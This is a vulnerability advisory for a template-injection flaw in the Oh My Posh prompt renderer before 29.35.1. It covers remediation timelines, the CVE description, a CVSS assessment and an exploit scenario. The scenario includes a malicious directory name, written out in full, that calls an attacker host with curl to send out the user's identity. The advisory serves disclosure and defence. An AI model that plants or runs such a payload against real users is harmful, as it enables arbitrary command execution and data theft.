How to fix or mitigate EUVD-2026-58078?

Within 24 hours, inventory all systems and users running Oh My Posh versions prior to 29.35.1, focusing on development environments and shared filesystems where untrusted repository access is possible. Within 7 days, upgrade to Oh My Posh 29.35.1 or later if available as a patch release, or implement compensating controls by restricting write access to shared directories and disabling path rendering features where feasible. Within 30 days, monitor the Oh My Posh project for patch releases and conduct rollout across all affected systems; provide developer security awareness training on directory naming risks when working in shared development environments.

HIGH 7.8

DescriptionCVE.org

Oh My Posh is the most customisable and low-latency cross platform/shell prompt renderer. Prior to 29.35.1, the setStyle() function in src/segments/path.go passed pt.Path, which includes raw folder names, to template.Render, whose function map exposes cmd, so an attacker-controlled directory name containing a Go template expression could execute arbitrary operating system commands as the current user whenever the prompt rendered inside that directory or a descendant. This issue is fixed in version 29.35.1.

AnalysisAI

Template injection in Oh My Posh prior to 29.35.1 allows arbitrary operating system command execution as the victim user when the shell prompt renders inside a directory whose name contains a Go template expression. The setStyle() function in src/segments/path.go passes raw filesystem path components - including untrusted directory names - directly into template.Render, whose function map exposes a cmd helper that invokes env.RunCommand. …

Vulnerability AssessmentAI

Exploitation	The victim must be running Oh My Posh as their shell prompt renderer with any configuration containing a path segment - including the built-in default configuration. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment	The CVSS 3.1 score of 7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) accurately reflects a local-vector, low-complexity attack requiring user interaction (victim must navigate into the malicious directory). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An attacker crafts a Git repository containing a directory named `{{ cmd "curl" "https://attacker.example/exfil?u=$(id)" }}`. A developer clones the repository and runs `cd` into any child of that directory as part of normal workflow. …
Remediation	Upgrade to Oh My Posh v29.35.1, which is the vendor-released patch resolving this issue. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, inventory all systems and users running Oh My Posh versions prior to 29.35.1, focusing on development environments and shared filesystems where untrusted repository access is possible. …
